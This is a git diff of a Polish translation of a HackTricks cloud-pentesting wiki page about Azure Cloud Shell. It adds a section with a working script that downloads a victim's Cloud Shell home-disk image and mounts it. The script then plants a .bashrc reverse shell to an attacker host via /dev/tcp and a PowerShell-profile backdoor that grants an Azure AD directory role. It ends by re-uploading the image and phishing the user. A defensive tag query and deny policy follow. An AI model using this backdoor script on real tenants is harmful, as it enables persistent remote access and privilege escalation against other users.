mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh
This commit is contained in:
@@ -4,18 +4,105 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB współdzielonego dysku. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.
|
||||
**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB udostępnienia plików. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.
|
||||
|
||||
Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.
|
||||
Nie ma przypisanych uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.
|
||||
|
||||
### Kluczowe cechy
|
||||
### Kluczowe funkcje
|
||||
|
||||
**Środowisko**: Azure Cloud Shell zapewnia bezpieczne środowisko, działając na Azure Linux, własnej dystrybucji Linuksa Microsoftu zaprojektowanej dla infrastruktury chmurowej. Wszystkie pakiety zawarte w repozytorium Azure Linux są wewnętrznie kompilowane przez Microsoft, aby chronić przed atakami na łańcuch dostaw.
|
||||
**Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
|
||||
**Trwałość $HOME**: Po uruchomieniu Azure Cloud Shell po raz pierwszy, możesz go używać z lub bez podłączonego konta magazynowego. Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji. Aby zachować pliki między sesjami, zamontuj konto magazynowe, które automatycznie podłącza się jako **$HOME\clouddrive**, z Twoim katalogiem **$HOME** zapisanym jako plik **.img** w Azure File Share. Jednak pliki poza $HOME i stany maszyn nie są zachowywane. Aby bezpiecznie przechowywać sekrety, takie jak klucze SSH, użyj Azure Key Vault.
|
||||
**Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku.
|
||||
**Instalacja niestandardowych narzędzi**: Użytkownicy, którzy konfigurowali Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień roota. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
|
||||
- **Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
|
||||
- **Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku.
|
||||
- **Instalacja niestandardowych narzędzi**: Użytkownicy, którzy skonfigurują Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień administratora. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
|
||||
- **Trwałość $HOME**: Podczas pierwszego uruchomienia Azure Cloud Shell możesz używać go z lub bez podłączonego konta magazynowego.
|
||||
- Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji.
|
||||
- Aby zachować pliki między sesjami, masz możliwość **zamontowania konta magazynowego**, które automatycznie podłącza się jako `$HOME\clouddrive`, a twój katalog `$HOME` **zapisany jest jako plik .img w udostępnieniu plików.**
|
||||
|
||||
### Phishing w Cloud Shell
|
||||
|
||||
Jeśli atakujący znajdzie obrazy innych użytkowników w koncie magazynowym, do którego ma dostęp do zapisu i odczytu, będzie mógł pobrać obraz, **dodać do niego backdoora bash i PS** oraz przesłać go z powrotem do konta magazynowego, aby następnym razem, gdy użytkownik uzyska dostęp do powłoki, **polecenia będą automatycznie wykonywane**.
|
||||
|
||||
- **Pobierz, dodaj backdoora i przesyłaj obraz:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
|
||||
|
||||
# Mount image
|
||||
cd /tmp/phishing_img/.cloudconsole
|
||||
mkdir /tmp/cloudpoison
|
||||
sudo mount acc_username.img /tmp/cloudpoison
|
||||
cd /tmp/cloudpoison
|
||||
sudo mkdir .config
|
||||
sudo mkdir .config/PowerShell
|
||||
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
cd /tmp
|
||||
|
||||
sudo umount /tmp/cloudpoison
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
|
||||
```
|
||||
- **Następnie, phishinguj użytkownika, aby uzyskać dostęp do https://shell.azure.com/**
|
||||
|
||||
### Znajdź i zabroń automatycznym kontom magazynowym Cloud Shell
|
||||
|
||||
Konta magazynowe utworzone przez Cloud Shell są oznaczone tagiem **`ms-resource-usage:azure-cloud-shell`**. Możliwe jest utworzenie polityki zasobów Azure, która uniemożliwia tworzenie zasobów z tym tagiem.
|
||||
|
||||
Znajdź wszystkie konta magazynowe utworzone przez Cloud Shell według tagów:
|
||||
```bash
|
||||
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
|
||||
```
|
||||
Polityka zabraniająca tworzenia automatycznych kont magazynowych dla przechowywania w chmurze na podstawie tagów:
|
||||
```json
|
||||
{
|
||||
displayName: "Restrict cloud shell storage account creation",
|
||||
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
|
||||
metadata: {
|
||||
category: "Storage",
|
||||
version: "1.0.0"
|
||||
},
|
||||
mode: "All",
|
||||
parameters: {
|
||||
effect: {
|
||||
type: "String",
|
||||
metadata: {
|
||||
displayName: "Effect",
|
||||
description: "Deny, Audit or Disabled the execution of the Policy"
|
||||
},
|
||||
allowedValues: [
|
||||
"Deny",
|
||||
"Audit",
|
||||
"Disabled"
|
||||
],
|
||||
defaultValue: "Audit"
|
||||
}
|
||||
},
|
||||
policyRule: {
|
||||
if: {
|
||||
allOf: [
|
||||
{
|
||||
field: "type",
|
||||
equals: "Microsoft.Storage/storageAccounts"
|
||||
},
|
||||
{
|
||||
field: "tags['ms-resource-usage']",
|
||||
equals: "azure-cloud-shell"
|
||||
}
|
||||
]
|
||||
},
|
||||
then: {
|
||||
effect: "[parameters('effect')]"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
@@ -23,7 +110,7 @@ Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji upraw
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Trwałość
|
||||
## Utrzymywanie
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-cloud-shell-persistence.md
|
||||
|
||||
Reference in New Issue
Block a user